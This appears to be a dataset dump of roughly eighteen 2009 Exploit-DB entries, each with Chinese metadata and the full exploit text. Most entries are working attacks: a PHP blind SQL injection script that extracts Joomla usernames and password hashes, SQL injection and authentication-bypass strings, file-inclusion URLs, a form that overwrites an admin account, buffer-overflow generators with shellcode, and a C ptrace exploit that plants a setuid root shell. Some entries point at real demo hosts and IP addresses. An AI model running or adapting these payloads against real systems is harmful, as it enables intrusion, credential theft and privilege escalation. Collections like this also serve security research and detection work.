QLWD/code_shield huggingface dataset:
标题: Joomla! Component com_gsticketsystem - 'catid' Blind SQL Injection EDB-ID: 8731 CVE: 2009-1736 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-19 漏洞利用脚本: <?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#         Joomla com_gsticketsystem (catid) Blind SQL Injection Exploit
#
#                             ===  Cyb3R-1sT  ===
#                        cyb3r-1st [at] hormail.com
#                               inject0r5 t3am 
#
#                                  : Usage :
# php file.php "http://site/index.php?option=com_gsticketsystem&controller=entrypoint&task=viewCategory&catid=2"
#
#                                : Sp.GrEetZ :
#       [ All friends ] & [ 7rs.org ] & [ tryag.com] & [ sec-code.com ] 
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
} 
?>

# milw0rm.com [2009-05-19] URL: https://www.exploit-db.com/exploits/8731
标题: MaxCMS 2.0 - '/inc/ajax.asp' SQL Injection EDB-ID: 8726 CVE: 2009-1764 类型: WEBAPPS 平台: ASP 发布日期: 2009-05-18 漏洞利用脚本: ######################### Securitylab.ir ########################
# Application Info:
# Name: Maxcms
# Version: 2.0
#################################################################
# Discoverd By: Securitylab.ir
# Website: http://securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Sql Injection
# Risk: Medium
#===========================================================
# http://site.com/inc/ajax.asp?action=digg&amp;id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97
#===========================================================
#################################################################
# Securitylab Security Research Team
###################################################################

# milw0rm.com [2009-05-18] URL: https://www.exploit-db.com/exploits/8726
标题: LightOpenCMS 0.1 - 'id' SQL Injection EDB-ID: 8724 CVE: 2009-1766 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-18 漏洞利用脚本: [+] LightOpenCMS (id) SQL Injection Vulnerability

[+] Author: Mi4night

[+] Script: http://sourceforge.net/project/downloading.php?group_id=251474&filename=locms-0.1-pa.zip&a=4814604

[+] Injection:

http://127.0.0.1/[path]/index.php?id=-1%27%20union%20select%201,2,@@version,4%20%23

[+] Requires: magic_gpc() == OFF

[+] Vulnerable code:
if (isset($_GET['id'])) {
            $result = mysql_query("SELECT * FROM pages WHERE id='".$_GET['id']."'");

[+] Patch:
Its fucking beta.. or alpha or whatever. they'll fix it in the stable version !


[+] Shoutz to: Nuc my brotha, str0ke and all the otherz i forgot xD

# milw0rm.com [2009-05-18] URL: https://www.exploit-db.com/exploits/8724
标题: DGNews 3.0 Beta - 'id' SQL Injection EDB-ID: 8727 CVE: 2009-1746 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-18 漏洞利用脚本: ********************************************************************
* DGNews 3.0 Beta (berita.php) Remote SQL Injection Vulnerability  *
********************************************************************
            
http://diangemilang.com/news/berita.php?view=detail&id=-28+union+select+1,version(),3,4,5,6,7,8,9,10,11--
            
mysql 5 :)
            
Download :- http://www.diangemilang.com/download/comment.php?dlid=33&ENGINEsessID=2fcff934ccb74a561cd4c5df3dacd345

# milw0rm.com [2009-05-18] URL: https://www.exploit-db.com/exploits/8727
标题: Pluck CMS 4.6.2 - 'langpref' Local File Inclusion EDB-ID: 8715 CVE: 2009-1765 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-18 漏洞利用脚本: =-=-local file include-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script::pluck version 4.6.2
-------------------------------------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.pluck-cms.org/?file=kop2.php

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
vul:/data/modules/contactform/module_info.php

include ("data/inc/lang/$langpref"); line 13
--
vul:/data/modules/blog/module_info.php
include ("data/inc/lang/$langpref"); line 13
--
vyl:/data/modules/albums/module_info.php
include ("data/inc/lang/$langpref"); line 13
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=
xpl:
path/data/modules/contactform/module_info.php?langpref=../../../../../boot.ini
path/data/modules/blog/module_info.php?langpref=../../../../../boot.ini
path/data/modules/albums/module_info.php?langpref=../../../../../boot.ini
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=--=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=

# milw0rm.com [2009-05-18] URL: https://www.exploit-db.com/exploits/8715
标题: Flyspeck CMS 6.8 - Local/Remote File Inclusion / Change Add Admin EDB-ID: 8714 CVE: 2009-1771 2009-1770 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-18 漏洞利用脚本: =-=-remote change add admin xpl/lfi-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script::Flyspeck CMS 6.8
-------------------------------------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.flyspeck.net/purchase/download_trial.php
--------------------------------------------------
lfi:
includes/database/examples/addressbook.php?lang=../../../../boot.ini%00

$lang = isset($_GET['lang']) ? $_GET['lang'] : 'de'; line 28
include "lang." . $lang . ".inc"; line 29
--------------------------

change pass and add admin:


<h2>coded by ahmadbady</h2>
<form name="editUser" action="/flyspeck/index.php?event=updateExistingContent" 
onsubmit="return validateForm(this)" method="post" 
enctype="multipart/form-data"><label name="Name">Name</label>
<input type="text" name="users[fullname]" value="admin" />
<label name="Email">Email</label><input type="text" name="users[email]" value="admin" />
<label name="Role">Role</label><select name="users[role_id]"><option value="1" label="admin" />
</select><label name="Username">Username</label><input type="text" name="users[username]" value="admin" />
<label name="Password">Password</label><input type="text" name="users[password]" value="admin" />
<input type="hidden" name="id" value="1" /><input type="hidden" name="defName" value="users" />
<input type="submit" name="1" value="Save" /></form>

# milw0rm.com [2009-05-18] URL: https://www.exploit-db.com/exploits/8714
标题: PHP Dir Submit - Authentication Bypass EDB-ID: 8710 CVE: 2009-1787 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-18 漏洞利用脚本: -------------------------AllaH AkbaR-------------------------------
PHP Dir Submit (Auth Bypass) Remote Sql Injection
---------------------------------------------------------------------------
Discovered By: Snakespc     ALGERIAN HaCkEr 
Mail: snakespc@gmail.com
Site:http://www.snakespc.com/sc/index.php
Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
             Aflawa Kamikaz Wa4rin Fi kol Bla4s 
-------------------------SNAKES TEAM-------------------------------------
Script:PHP Dir Submit
http://www.phpdirsubmit.com
-------------------------SNAKES TEAM-------------------------------------
Exploit:
-----------
http://demo.phpdirsubmit.com/admin/

Username:   ' or '1=1
Password:   ' or '1=1
-------------------------SNAKES TEAM-------------------------------------
Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4:::
sunhouse2:::aSSaSSin_HaCkErS:::THE INJECTOR:::ALMADJHOOL
--------------------------SNAKES TEAM------------------------------------
ALL www.SnakespC.com/sc>>>> (  Members )
Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-05-18] URL: https://www.exploit-db.com/exploits/8710
标题: Audioactive Player 1.93b - '.m3u' Local Buffer Overflow EDB-ID: 8698 CVE: 2009-1815 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-15 漏洞利用脚本: #!/usr/bin/perl
# by hack4love
# hack4love@hotmail.com
# Audioactive player v1.93b (.m3u) Local buffer Overflow Exploit
# Greetz to all my friends
# From EGYPT
##################################################################
my $bof="\x41" x 224;
my $ret="\xed\x1e\x94\x7c"; # JMP ESP ntdll.dll
my $nop="\x90" x 24;
##################################################################
# win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x26".
"\xac\xdf\x53\x83\xeb\xfc\xe2\xf4\xda\x44\x9b\x53\x26\xac\x54\x16".
"\x1a\x27\xa3\x56\x5e\xad\x30\xd8\x69\xb4\x54\x0c\x06\xad\x34\x1a".
"\xad\x98\x54\x52\xc8\x9d\x1f\xca\x8a\x28\x1f\x27\x21\x6d\x15\x5e".
"\x27\x6e\x34\xa7\x1d\xf8\xfb\x57\x53\x49\x54\x0c\x02\xad\x34\x35".
"\xad\xa0\x94\xd8\x79\xb0\xde\xb8\xad\xb0\x54\x52\xcd\x25\x83\x77".
"\x22\x6f\xee\x93\x42\x27\x9f\x63\xa3\x6c\xa7\x5f\xad\xec\xd3\xd8".
"\x56\xb0\x72\xd8\x4e\xa4\x34\x5a\xad\x2c\x6f\x53\x26\xac\x54\x3b".
"\x1a\xf3\xee\xa5\x46\xfa\x56\xab\xa5\x6c\xa4\x03\x4e\x5c\x55\x57".
"\x79\xc4\x47\xad\xac\xa2\x88\xac\xc1\xcf\xbe\x3f\x45\xac\xdf\x53";
##################################################################
open(myfile,'>>hack4love.m3u');
print myfile $bof.$ret.$nop.$shellcode;
# Tested on: Windows XP Pro SP2 (EN)
##################################################################

# milw0rm.com [2009-05-15] URL: https://www.exploit-db.com/exploits/8698
标题: DMXReady Registration Manager 1.1 - Database Disclosure EDB-ID: 8705 CVE: 2009-1821 类型: WEBAPPS 平台: ASP 发布日期: 2009-05-15 漏洞利用脚本: ************************************************** *****************************
# Title : DMXReady Registration Manager 1.1 Remote Database Disclosure Vulnerability
# Author : S4S-T3rr0r!sT
# Contact : l3t@hotmail.com / S4S@n2m3.com
# S.Page : DMXReady CMS Plugin Applications Web Site Design Extensions Dreamweaver ASP Template Database Driven
# Site : WwW.s3curi7y.com / www.h-t.cc
************************************************** *****************************

D0rk : "inurl:inc_webblogmanager.asp"

Exploit :

# http://[target].com/[path]/databases/webblogmanager.mdb

l!ve D3mo :

# http://74.200.213.93/databases/webblogmanager.mdb
# http://www.nomorewar.com/databases/webblogmanager.mdb


V1V4 GaZa

./Done

Thanx To : Cold-Z3ro , HcJ , ViRuSMaN , AlQaYsAr , zAx , Cyb3r-Err0r ,Arabic S3curi7y crew Members, all arabian hacker

# milw0rm.com [2009-05-15] URL: https://www.exploit-db.com/exploits/8705
标题: Joomla! Component ArtForms 2.1 b7 - Remote File Inclusion EDB-ID: 8697 CVE: 2009-1822 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-15 漏洞利用脚本: ArtForms 2.1b7 remote file includes
 
From Turkey
iskorpitx (O bir dÃ¼nya markasÄ± Asla Taklit Edilemez)
 
// swfmovie.php - swf output and config
 
/* output captcha image */
 
/* output captcha mp3 */
 
----------------------------------------------------------------------------------
 
[path]/components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php?mosConfig_absolute_path=*shell

[path]/components/com_artforms/assets/captcha/includes/captchaform/mp3captcha.php?mosConfig_absolute_path=*shell

[path]/components/com_artforms/assets/captcha/includes/captchatalk/swfmovie.php?mosConfig_absolute_path=*shell
-----------------------------------------------------------------------------------
by iskorpitx
admin@mavi1.org

# milw0rm.com [2009-05-15] URL: https://www.exploit-db.com/exploits/8697
标题: Audioactive Player 1.93b - '.m3u' Local Buffer Overflow (SEH) EDB-ID: 8701 CVE: 2009-1815 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-15 漏洞利用脚本: #usage: exploit.py
#Open the program then double clic in the exploit file
print "**************************************************************************"
print " Audioactive Player 1.93b (.m3u) Local Buffer Overflow Exploit (SEH)\n"
print " Credits : hack4love\n"
print " Seh Exploit: His0k4\n"
print " Tested on: Windows XP Pro SP3 (EN)\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz),snakespc.com\n"
print "**************************************************************************"       
   
# win32_exec -  EXITFUNC=seh CMD=calc Size=165 Encoder=JmpCallAdditive http://metasploit.com
shellcode=(
"\xfc\xbb\x5d\x53\x65\x97\xeb\x0c\x5e\x56\x31\x1e\xad\x01\xc3\x85"
"\xc0\x75\xf7\xc3\xe8\xef\xff\xff\xff\xa1\xbb\x21\x97\x59\x3c\x21"
"\xd2\x65\xb7\x49\xd8\xed\xc6\x5e\x69\x42\xd1\x2b\x31\x7c\xe0\xc0"
"\x87\xf7\xd6\x9d\x19\xe9\x26\x62\x80\x59\xcc\xa2\xc7\xa6\x0c\xe8"
"\x25\xa9\x4c\x06\xc1\x92\x04\xfd\x2e\x91\x41\x76\x71\x7d\x8b\x62"
"\xe8\xf6\x87\x3f\x7e\x57\x84\xbe\x6b\xec\xa8\x4b\x6a\x19\x59\x17"
"\x49\xd9\x99\x99\x51\x85\x96\x9a\x61\xc0\x69\x62\x8e\x41\x29\x9f"
"\x05\x25\xb6\x32\x92\xad\xce\xa7\xac\xa6\x4f\x87\xaf\xb8\x4f\x63"
"\xc7\x84\x10\x42\xee\x94\xf8\x2d\xf6\xd7\xc5\x55\x57\xbf\x35\x23"
"\x53\x60\xde\xac\xa2\x14\x10\x9a\xa5\xcf\x4e\x45\x36\x6c\x91\x85"
"\xc6\x72\x91\x85\xc6")

payload = "\x41"*(589-len(shellcode))
payload += shellcode
payload += "\xE9\x56\xFF\xFF\xFF" # go back
payload += "\x74\xF9\xFF\xFF" #go back
payload += "\xDE\x19\xD1\x72" # Friendly p/p/r msacm32.drv
payload += "\x44"*900

try:
    out_file = open("exploit.m3u",'w')
    out_file.write("http://www.google.com/"+payload+".mp3\r\n")
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-05-15] URL: https://www.exploit-db.com/exploits/8701
标题: 2DayBiz Custom T-shirt Design - SQL Injection / Cross-Site Scripting EDB-ID: 8702 CVE: 2009-1820 2009-1819 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-15 漏洞利用脚本: -------------------------AllaH AkbaR-------------------------------
Custom T-shirt Design (SQL & xss) MULTIPLE Remote Sql Injection
---------------------------------------------------------------------------
Discovered By: Snakespc     ALGERIAN HaCkEr 
Mail: snakespc@gmail.com
Site:www.snakespc.com/sc/index.php
Chi3arona houa:
-------------------------SNAKES TEAM-------------------------------------
Script:2daybiz.com
Demo:http://www.2daybiz.com/tshirt_design_download.html
-------------------------SNAKES TEAM-------------------------------------
Exploit:
--------
Demo :sql
http://98.131.92.231/demo/tshirt2/product.php?id=-28+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10+from+admin--

Demo: xss
http://98.131.92.231/demo/tshirt2/product.php?id=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

-------------------------SNAKES TEAM-------------------------------------
His0k4:::Mr.HCOCA_MAN:::DrEaDFuL:::
yassine_enpsunhouse2:::aSSaSSin_HaCkErS
--------------------------SNAKES TEAM------------------------------------
ALL www.SnakespC.com/sc>>>> (  Members )
Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-05-15] URL: https://www.exploit-db.com/exploits/8702
标题: Rama CMS 0.9.8 - 'download.php' File Disclosure EDB-ID: 8700 CVE: 2009-1768 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-15 漏洞利用脚本: #Start info: {
#
#Script Name:   Rama Zaitan Cms
# Script Project: http://sourceforge.net/project/showfiles.php?group_id=212495&package_id=255590
# Download:       http://sourceforge.net/project/downloading.php?group_id=212495&filename=cms975.zip&a=5782381
#
#  0.9.5 <= Versions <=0.9.8  
#
# by Br0ly.
# br0ly.Code@gmail.com
#
# Brasil.
#
# Gretz: str0ke , Osirys,  xscholler , 6_Bl4ck9_f0x6  and all my friends.
#
# Sorry for my bad english. ;/
#
#End info }


Php code :
<?php
$dir  = 'uploads/';
$file = $_GET['file']; <-----------------------------------------------------------------> Vul

header('Content-Disposition: attachment; filename='.$file);

switch ($_GET['type']) {
    case 'Doc':
        header ('Content-type: application/msword');
        break;
    case 'Excel':
        header ('Content-type: application/vnd.ms-excel');
        break;
    case 'ZIP':
        header ('Content-type: application/zip');
        break;
    case 'PPT':
        header ('Content-type: application/vnd.ms-powerpoint');
        break;
    case 'PDF':
        header ('Content-type: application/pdf');
        break;

    default: header ('application/force-download');
}

readfile("$dir$file");  <-------------------------------------------------------> Vul
?>

p0f :

http://locahost/ramacms/download.php?file=download.php
http://locahost/ramacms/download.php?file=../index.php
http://locahost/ramacms/download.php?file=../config.php

;D

# milw0rm.com [2009-05-15] URL: https://www.exploit-db.com/exploits/8700
标题: Eggdrop/Windrop 1.6.19 - ctcpbuf Remote Crash EDB-ID: 8695 CVE: 2009-1789 类型: DOS 平台: MULTIPLE 发布日期: 2009-05-15 漏洞利用脚本: eggdrop/windrop remote crash vulnerability

    * This message: [ Message body ] [ More options ]
    * Related messages: [ Next message ] [ Previous message ] [ Next in thread ] [ Replies ]

From: Thomas Sader <thommey_at_gmail.com>
Date: Fri, 15 May 2009 05:54:08 +0200

Affected software
-----------------

eggdrop (1.6.19 only, not 1.6.19+ctcpfix)
windrop (1.6.19 only, not 1.6.19+ctcpfix)
all eggdrop/windrop versions and packages which apply Nico Goldes
patch for CVE-2007-2807/SA25276 See: [1]

Vulnerability details
---------------------

The SA25276 patch ([1]) uses strncpy to fix a buffer overflow vulnerability
in src/mod/server.mod/servmsg.c (gotmsg). The last argument is not checked
for being non-negative, but that can happen if ctcpbuf is "". That causes
a remote crash vulnerability to be exploited by anyone connected to the same
IRC network as eggdrop. The SA25276 patch has been applied to the eggdrop1.6.18
debian package and was later adopted by Eggheads into eggdrop1.6.19.

One possible exploit anyone can send to the IRC server to crash eggdrop:

PRIVMSG eggdrop :\1\1

Resolution
----------

Upgrade to eggdrop/windrop 1.6.19+ctcpfix ([2],[3]), the current cvs versions,
or apply the ctcpfix patch at [2] before compiling.

Disclosure timeline
-------------------

2009-05-06: Vulnerability discovered and reported to Eggheads.
2009-05-06: Patch committed to cvs.
2009-05-14: New eggdrop and windrop version released with the fix applied.
2009-05-14: Public disclosure.

References
----------

[1] http://bugzilla.eggheads.org/show_bug.cgi?id=462
    http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=427157
    https://www.securityfocus.com/bid/24070
    http://secunia.com/advisories/25276
    http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2807

[2] http://www.eggheads.org/downloads/
[3] http://windrop.sourceforge.net/downloads.html

---
Thomas Sader (thommey)

# milw0rm.com [2009-05-15] URL: https://www.exploit-db.com/exploits/8695
标题: Submitter Script - Authentication Bypass EDB-ID: 8683 CVE: 2009-1813 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-14 漏洞利用脚本: ---------------------------------------------------------------
------------------------------------------------------------
Submitter Script 2(Auth Bypass) SQL Injection Vulnerability
---------------------------------------------------------------
Founder : ThE g0bL!N
Vendor:http://submitterscript.com/
More info:http://submitterscript.com/products.php
---------------------------------------------------------------
---------------------------------------------------------------
Auth Bypass
------------
http://victim/[path]/admin/
username:' or '1=1
Password:' or '1=1
--------------------------------------
Dem0
----
http://demo.submitterscript.com/admin/
--------------------------------------
Greeting To ALL My Friends (Dz)
----------------------------------------------------------------

# milw0rm.com [2009-05-14] URL: https://www.exploit-db.com/exploits/8683
标题: beLive 0.2.3 - 'arch.php?arch' Local File Inclusion EDB-ID: 8680 CVE: 2009-1649 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-14 漏洞利用脚本: Author: Kacper
Email: kacper1964@yahoo.pl

HomePage: http://devilteam.pl/

---------------

Script: beLive version: v.0.2.3

Vuln:
http://[page].pl/belive/arch.php?arch=../../../../../../../../etc/passwd%00

sorry ze tak malo napisane ale nie bylo czasu, wiecej na http://devilteam.pl/

THE END

-----------------------------------------

# milw0rm.com [2009-05-14] URL: https://www.exploit-db.com/exploits/8680
标题: Linux Kernel 2.6.x (Gentoo 2.6.29rc1) - 'ptrace_attach' Local Privilege Escalation EDB-ID: 8673 CVE: 2009-1527 类型: LOCAL 平台: LINUX 发布日期: 2009-05-13 漏洞利用脚本: /*
ptrace_attach privilege escalation exploit by s0m3b0dy

[*] tested on Gentoo 2.6.29rc1

grataz:
Tazo, rassta, nukedclx, maciek, D0hannuk, mivus, wacky, nejmo, filo...

email: s0m3b0dy1 (at) gmail.com
*/

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
char shellcode[] =
"\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99" 
"\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff"
"echo \"#include <stdio.h>\nmain(){setuid(0);if(getuid()==0) printf(\\\"r00teed!\\n\\\");execv(\\\"/bin/bash\\\",0);return 0;}\" > /tmp/.exp.c;gcc /tmp/.exp.c -o /tmp/.exp;rm /tmp/.exp.c;chmod +s /tmp/.exp;exit;";
struct user_regs_struct322 {
        unsigned long ebx, ecx, edx, esi, edi, ebp, eax;
        unsigned short ds, __ds, es, __es;
        unsigned short fs, __fs, gs, __gs;
        unsigned long orig_eax, eip;
        unsigned short cs, __cs;
        unsigned long eflags, esp;
        unsigned short ss, __ss;
};

main()
{
struct user_regs_struct322  regs;
struct stat buf;
int i,o;
unsigned long * src;
unsigned long * dst;
char *env[2];
env[0]="/usr/bin/gpasswd";  // some suid file
env[1]=0;
if((o=fork()) == 0)
{
execve(env[0],env,0);
exit(0);
}
if(ptrace(PTRACE_ATTACH,o,0,0)==-1)
{
printf("\n[-] Attach\n");
exit(0);
}
 wait((int *)0);
if (ptrace(PTRACE_GETREGS, o, NULL, &regs) == -1){
                printf("\n[-] read registers\n");
  exit(0);
}
printf( "[+] EIP - 0x%08lx\n", regs.eip);
dst= (unsigned long *) regs.eip;
src = (unsigned long *) shellcode;
for(i=0;i<sizeof(shellcode) -1;i+=4)
if (ptrace(PTRACE_POKETEXT, o, dst++, *src++) == -1){
                       printf("\n[-] write shellcode\n");
   exit(0);
}
ptrace(PTRACE_CONT, o, 0, 0);
ptrace(PTRACE_DETACH,o,0,0);
printf("[+] Waiting for root...\n");
sleep(2);
if(!stat("/tmp/.exp",&buf))
{
printf("[+] Executing suid shell /tmp/.exp...\n"); 
execv("/tmp/.exp",0);
}
else
{
printf("[-] Damn no r00t here :(\n");
}
return 0;
}

// milw0rm.com [2009-05-13] URL: https://www.exploit-db.com/exploits/8673